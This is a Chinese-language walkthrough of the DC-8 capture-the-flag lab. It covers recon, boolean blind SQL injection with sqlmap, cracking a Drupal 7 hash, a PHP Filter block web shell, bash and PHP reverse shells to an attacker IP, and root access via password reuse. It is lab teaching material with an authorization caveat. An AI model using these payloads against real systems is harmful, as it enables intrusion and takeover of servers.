资讯动态

DC-8靶场实战:从SQL注入到Root权限提升的完整攻击链

发布时间:2026/10/20 7:06:39 来源:尧图企业网站定制
这台 DC-8 我前后刷了两遍。第一遍是跟着别人零散的笔记走第二遍把所有提示遮住重新打才发现它真正值钱的地方不在某个漏洞本身而在于入口和终点之间那根若隐若现的线索链从带 nid 参数的 Drupal 页面里的 SQL 注入开始到脱库、破解后台口令、拿下 Web 交互权限最后通过 Root 提权拿到系统最高权限整个过程环环相扣。如果你刚开始玩靶场或者已经打过几台想补一补提权思路这台 DC-8 都值得完整走一遍。下面我按实际操作顺序把每个环节的原理、命令和踩坑点都写清楚。1. 靶场与前置准备1.1 这台靶机在锻炼什么DC-8 是一台专门用来训练渗透思路的靶机入口是一个 Drupal 站点开放面很小但弱点埋得很典型。它重点考察四块能力信息收集阶段能不能从普通首页里提炼出 CMS 类型和可疑参数遇到非报错型 SQL 注入时能不能判断出它是布尔盲注并借助工具完成数据脱取拿到 Drupal 管理员权限后知不知道怎么在后台通过 PHP Filter 模块或者自定义区块执行命令拿到 www-data 权限之后会不会做本地枚举能不能从上一个阶段的数据里提炼出对提权有用的信息。如果你在实战项目里见过类似套路会发现这其实不是纯粹为 CTF 而设计的“玩具链”。很多老业务系统里后台密码和服务器 root 密码因为运维图省事而被复用这一点在 DC-8 上被完整还原了出来。所以打这台靶机表面上是考漏洞利用实际上考的是信息关联能力。1.2 实验环境与网络规划我用的环境是本地虚拟化平台里跑一台攻击机、一台目标机网络模式建议用 host-only 或者自定义网段这样目标 IP 固定、不会被 NAT 干扰。攻击机用 Kali目标机就是 DC-8 的镜像文件导入后开机即可。角色系统/软件网络模式备注攻击机Kali Linuxhost-only / 自定义IP 192.168.56.1目标机DC-8 靶场镜像host-only / 自定义IP 192.168.56.108目标机上电后先在攻击机上扫描存活主机。我习惯用arp-scan因为它在局域网里很快arp-scan -l看到192.168.56.108这个地址后后面的所有操作都围它转。为了避免误扫描到宿主机或者其他实验虚拟机最好再把目标机的 MAC 地址和镜像启动前的提示对一下确认无误再往下走。注意这套流程只适合在你自己搭的靶场环境或者拿到书面授权的目标上操作。未经授权对实际系统做扫描和利用风险和性质完全不一样这点不用多说。2. 信息收集从端口扫描到应用指纹2.1 端口扫描先确定攻击面拿到目标 IP 后不要急着打开浏览器随便点先用 nmap 把端口和服务情况摸清楚。-p-全端口扫描虽然慢一点但对这类小靶场很必要因为有些靶机会把管理端口藏在高位端口上只扫默认端口会漏掉关键服务。nmap -sS -sV -sC -p- 192.168.56.108我当时的扫描结果是这样PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Welcome to Drupal | DC-8 MAC Address: 08:00:27:11:22:33 (Oracle VirtualBox)全端口只开放了一个 80对应 Apache 上的 Web 服务。这个结果很干净说明入口大概率就在 Web 应用里。此时不要因为端口少就觉得没戏很多高质量的靶场恰恰就是“单点突破、纵深提权”的设计思路。2.2 一眼确认 Drupal 指纹用whatweb或者浏览器插件看指纹是 Web 渗透里性价比最高的动作。CMS 类型直接决定接下来的利用路径不同版本的后台差异非常大。whatweb http://192.168.56.108/结果里出现了Drupal关键字页面标题是Welcome to Drupal | DC-8。再用 curl 看一眼首页源码curl -s http://192.168.56.108/ | head -50首页里能看到 Drupal 的中文欢迎语和页面结构。Drupal 站点的指纹通常在这几个地方出现HTML 源码里的meta nameGenerator contentDrupal 7、robots.txt 里的路径、以及CHANGELOG.txt是否能直接访问。这里我确认到的是 Drupal 7 系列。这一步为什么要确认得这么细因为 Drupal 7 的“后台加 PHP 区块 getshell”路径和 Drupal 8、9 的布局构建器思路完全不同。如果版本判断失误后期在后台找模块和区块配置时会浪费很多时间。2.3 发现可疑参数 nidDrupal 页面的 URL 通常长这样/?qnode/1。但 DC-8 里首页导航的链接是http://192.168.56.108/?nid1nid指 node id也就是内容节点编号。把nid1改成nid2页面内容会跟着变化。这种“参数直接控制数据库查询结果”的迹象是 SQL 注入的高危信号。看到这类参数时第一反应应该不是立刻上 sqlmap而是先手工确认它到底能不能注入。3. SQL注入从手工验证到数据脱取3.1 手工确认布尔盲注对于nid这种数字型参数最基础的手工验证就是制造逻辑真假。用 curl 分别请求两条 URL观察页面变化curl -s http://192.168.56.108/?nid1 | wc -c curl -s http://192.168.56.108/?nid1%20AND%2011 | wc -c curl -s http://192.168.56.108/?nid1%20AND%2012 | wc -c第一条和第二条返回的内容长度基本一致因为1 AND 11等价于1数据库还是会查出 node 1 的内容第三条加上AND 12后条件永远为假查不到数据页面会明显变短或者直接出现“页面不存在/没有内容”的提示。在没有任何 SQL 报错回显的情况下这种“页面内容随逻辑真假变化”的特征就是典型的布尔盲注。很多新手看到页面没报错就认为没有注入其实错了盲注不会把数据库错误直接甩在页面上它只是用“查询结果是否存在”来间接回答问题。3.2 sqlmap 自动化枚举库表手工确认注入点后再用 sqlmap 做自动化脱库。先指定--dbmsmysql因为 Drupal 7 的默认数据库就是 MySQL--batch让所有交互默认选 yes适合无人值守sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch --dbssqlmap 会先发很多探测请求最终识别出注入类型。关键输出大概是Parameter: nid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: nid1 AND 88728872这一步再次印证了手工判断注入类型是布尔盲注。继续拖数据库库名sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch --dbs结果里除了information_schema还有一个业务库drupaldb。Drupal 的表结构很固定直接进drupaldb看表sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch -D drupaldb --tables表列表里最重要的是users表里面存了后台账号和密码哈希。实操心得布尔盲注的请求量很大sqlmap 默认速度不快。你可以适当加--threads10提升并发但线程数也别开太猛否则靶机响应慢反而容易出错。另外如果目标上有 WAFsqlmap 默认签名很容易被识别必要时要配合--random-agent和--tamper组合不过在 DC-8 这种无防护靶场里不需要。3.3 脱取 users 表与密码哈希查看users表结构并脱取数据sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch -D drupaldb -T users --columns sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch -D drupaldb -T users --dump脱出来的核心数据非常关键uidnamepass0admin$S$D...一长串哈希pass字段是 Drupal 7 的密码哈希格式以$S$D开头。这种哈希不是明文密码也不是普通的 MD5它内部做了多次 SHA-512 迭代并带了随机盐直接丢进 MD5 解密网站是没有意义的必须用支持 drupal7 格式的哈希破解工具。3.4 离线破解 Drupal 7 哈希把pass字段完整保存到本地文件hash.txt然后交给 john 或者 hashcat。Kali 里默认自带 johnjohn --formatdrupal7 hash.txt --wordlist/usr/share/wordlists/rockyou.txt如果 rockyou.txt 没有解压先执行sudo gunzip /usr/share/wordlists/rockyou.txt.gzjohn 的破解结果大概是Loaded 1 password hash (drupal7 [SHA512-based custom hash]) drupal (admin)也就是说Drupal 后台管理员账号是admin密码是drupal。看到这个结果别急着登录先想一下这个密码可能不只是 Web 后台在用。后面提权环节会再把它拿出来用。注意如果 hashcat 更顺手Drupal 7 哈希对应 hashcat 的 mode 7900命令是hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt。破解不出来时优先确认哈希格式是否正确、文件里有没有多余空格再考虑换字典和规则。4. Drupal后台Getshell从管理员到WebShell4.1 用破解口令登入后台Drupal 7 登录路径是/user/login直接访问http://192.168.56.108/user/login输入admin/drupal成功进入后台。此时我们已经完成了从“SQL 注入拿数据”到“后台管理权”的跨越。但这还不够后台管理员需要变成能执行系统命令的交互式 shell下一步就是利用 Drupal 后台的功能开启命令执行通道。4.2 开启 PHP Filter 模块Drupal 7 自带一个核心模块叫 PHP Filter它的作用是允许文本格式中选择“PHP code”从而在文章、区块、页面里直接执行 PHP 代码。默认情况下这个模块是关闭的需要在后台开启。路径是/admin/modules在模块列表里找到 “PHP filter”勾选后保存配置。开启成功后区块、页面的文本格式下拉菜单里才会出现 “PHP code” 选项。这一步是 Drupal 7 getshell 的经典套路也是很多新手卡住的地方。有人直接想上传恶意的.php文件但 Drupal 并不提供这个功能正确逻辑不是“上传文件”而是“利用后台合法功能执行代码”这样就避开了文件上传的各种限制。4.3 通过自定义 Block 执行系统命令进入区块管理/admin/structure/block点击添加区块配置里填以下内容区块描述随意比如cmd区块标题可留空区块正文Block body写一段 PHP 代码文本格式选择 PHP code区域设置选一个会出现在所有页面的区域比如 Footer。正文里写?php system($_GET[cmd]); ?保存后访问任意页面并带cmd参数就能看到命令执行结果curl -s http://192.168.56.108/?cmdid返回uid33(www-data) gid33(www-data) groups33(www-data)这里有个容易被忽略的细节区块的“显示规则”如果不小心配成了“仅限某些页面”那么只有指定页面才会输出这段 PHP 代码。我自己第一次打的时候就因为把区块塞进了一个不存在的区域页面怎么都看不到输出后来把区域改成 Footer 并保持全局显示问题立刻解决。4.4 从命令执行到反弹 Shell网页命令执行只能一条条敲为了后续提权方便必须换成交互式 shell。反弹 shell 的方式很多我在这台靶机上用 bash 的/dev/tcp方式因为它不需要额外安装 netcat 或 pythoncurl -G --data-urlencode cmdbash -c bash -i /dev/tcp/192.168.56.1/4444 01 http://192.168.56.108/先在攻击机上开监听nc -lvnp 4444执行后监听端收到connect to [192.168.56.1] from (UNKNOWN) [192.168.56.108] 52144 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell www-datadc-8:/var/www/html$这套反弹 shell 的好处是不依赖目标上有没有 nc、python只要 bash 存在就能连。缺点是交互性比较差所以拿到 shell 后先做一步 TTY 稳定python -c import pty;pty.spawn(/bin/bash)然后按CtrlZ让 shell 挂起回到 Kali 终端后执行stty raw -echo fg export TERMxterm export SHELL/bin/bash这样上下键、Tab 补全、CtrlC 都能正常使用。稳定终端这一步在后续枚举和提权时非常关键否则在乱糟糟的半交互 shell 里很容易打错命令。5. 本地枚举与 Root 提权5.1 常规提权枚举清单拿到 www-data 权限后我按老规矩做了一轮常规枚举。命令如下id sudo -l find / -perm -4000 -type f 2/dev/null cat /etc/crontab uname -a ps aux ls -la /home find / -writable -type f 2/dev/null | grep -v proc | grep -v sys当时的结果整理下来大概是检查项结果当前用户www-datauid33sudo -l需要密码暂时无法利用SUID 文件全是系统默认项没有可疑的自定义二进制crontab没有发现定时任务投递点内核版本普通 Debian 内核没有直接对应的一键 CVE/home 目录没有额外可登录用户这意味着常规的“找 SUID 漏洞”“写定时任务”“sudoers 配置错误”这些路径暂时都没看到突破口。此时不能干等要回头把前面拿到的数据再想一遍Drupal 后台的密码是drupal而靶机是部署者手工配置的有没有可能同一个口令被复用到系统级账号上5.2 密码复用从 www-data 到 Root尝试用已知的drupal密码直接切 rootsu root Password: drupal结果直接进入了 root shellrootdc-8:/var/www/html# id uid0(root) gid0(root) groups0(root)这条提权路径的“技术含量”不高但它非常贴近真实环境。很多内外网靶场和真实企业系统的脆弱点并不是某个 0day而是“数据库里躺着后台明文密码后台密码又是 root 密码”。Drupal 的哈希虽然被破解成了drupal但这个口令本身并没有被安全地隔离在应用层而是被复用到操作系统层面所以才形成了从 SQL 注入到 Root 提权的完整闭环。拿到 root 后直接读/root下的 flag 文件cd /root ls cat flag.txt看到 flag 内容的瞬间整条链路的每一环才算真正闭合。提权经验本地枚举不是把所有工具的输出贴一遍就完事。要带着“已知信息”去枚举比如后台账号密码、数据库连接配置、Web 应用配置文件里的敏感串这些都有可能和系统账号密码复用。单纯找 SUID 是新手思路信息关联才是提权的高阶玩法。5.3 如果密码复用不成立还能看哪些方向虽然 DC-8 里su root直接通了但在别的类似靶场里这条路径不一定有效。碰到这种情况我的备用思路通常按这个顺序来翻 Drupal 配置文件sites/default/settings.php看数据库账号密码是不是和系统某处重复用find / -perm -4000继续深挖 SUID 文件结合 GTFO Bin 列表逐项核对检查 Web 目录里有没有开发人员留下的备份文件、可读脚本、密钥文件看数据库服务是否对外开放尝试用应用层数据库账号进入 MySQL再通过 UDF 等方式提权检查网络连接和监听端口看看目标机是否还连着内网其他机器。这些方向未必在 DC-8 上用到但打其他靶场时经常会遇到。多准备几条路总比卡在同一个地方强。6. 常见问题与排查技巧实录6.1 sqlmap 检测不出注入点怎么办如果手工已经确认了布尔盲注但 sqlmap 跑了半天还是说 not injectable最可能的原因是 sqlmap 默认的判定页面特征不合适。布尔盲注下页面变化差异很小你可以主动告诉 sqlmap 什么内容是正常页面的标志sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch --stringWelcome或者反过来指定 false 页面首次出现时才表示注入成立sqlmap -u http://192.168.56.108/?nid1 --dbmsmysql --batch --not-stringPage not found如果目标需要登录还要把 Cookie 带全参数多时适当提高--level和--risk让 sqlmap 多测几个位置。6.2 Drupal 哈希破解不出来优先检查三件事哈希文件保存的是完整$S$D...值不能有多余空格或者换行john 指定格式要写--formatdrupal7不能当成普通 sha512 去跑字典是否足够大。rockyou.txt 是基础破解不出时可以用 hashcat 加规则跑或者换专用的口令字典。如果长时间跑不出来也可以考虑用 SQL 注入直接改数据库里 admin 的密码哈希。这个操作在真实测试里要非常谨慎但靶场环境里可以体验先生成一段已知密码的 Drupal 7 哈希再用 sqlmap 的--sql-update或手工注入语句更新users表登录后台就等于拿到了别人帮你铺好的路。6.3 后台没有 PHP Filter 选项Drupal 7 的 PHP Filter 模块默认存在但未启用所以先去/admin/modules勾选并保存。启用后如果区块正文的“文本格式”下拉框还是不出现 PHP code就去/admin/people/permissions检查当前用户角色的权限确认该角色被允许使用 PHP code 文本格式。6.4 反弹 Shell 连不上先确认监听端nc -lvnp 4444真的在跑再去目标机用简单命令测试连通性bash -c echo test /dev/tcp/192.168.56.1/4444监听端如果能收到内容说明通路没问题。如果连不上排查两个点目标机能不能访问到攻击机 IP命令里的特殊符号有没有被 URL 编码破坏。最稳妥的做法是用curl -G --data-urlencode生成请求而不是手工拼 URL。如果 bash/dev/tcp不好使可以换 PHP 版反弹 shell利用命令执行直接运行php -r $sockfsockopen(192.168.56.1,4444);exec(/bin/sh -i 3 3 23);6.5 shell 乱屏、无法交互这是最常见的小毛病。根源是当前 shell 不是一个真正的 TTY。处理方式就是前面提到的 pty 稳定流程。如果目标没有 python试试script /dev/null -c bash或者用 socat。7. 收尾把这条攻击链沉淀成自己的打完整台 DC-8 之后再回看真正的难点其实不是 SQL 注入本身也不是某个反弹 shell 命令而是你能不能在每个阶段结束时把当前拿到的信息记下来并用于下一步判断。第一次打的时候我一度卡在提权环节很久因为潜意识里总觉得提权应该靠某个“漏洞”忽略了自己手里已经握着一个 Drupal 后台密码。后来才意识到密码复用才是这台靶机埋得最深的线索。最后分享一个小习惯每打一台靶机都建一个独立笔记文件按“信息收集 / 漏洞利用 / 权限提升”三个阶段记录命令和输出。不要觉得自己能记住靶场里的 IP、哈希、口令、路径稍微混乱一点就会让你浪费大量时间。DC-8 这条链路非常干净非常适合用来练习这种“边打边记录”的工作流。打完以后再自己搭建一个 Drupal 7 环境把nid参数改成可注入的 SQL 语句复现一遍你对布尔盲注和后台 getshell 的理解会比看十篇笔记都深刻。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑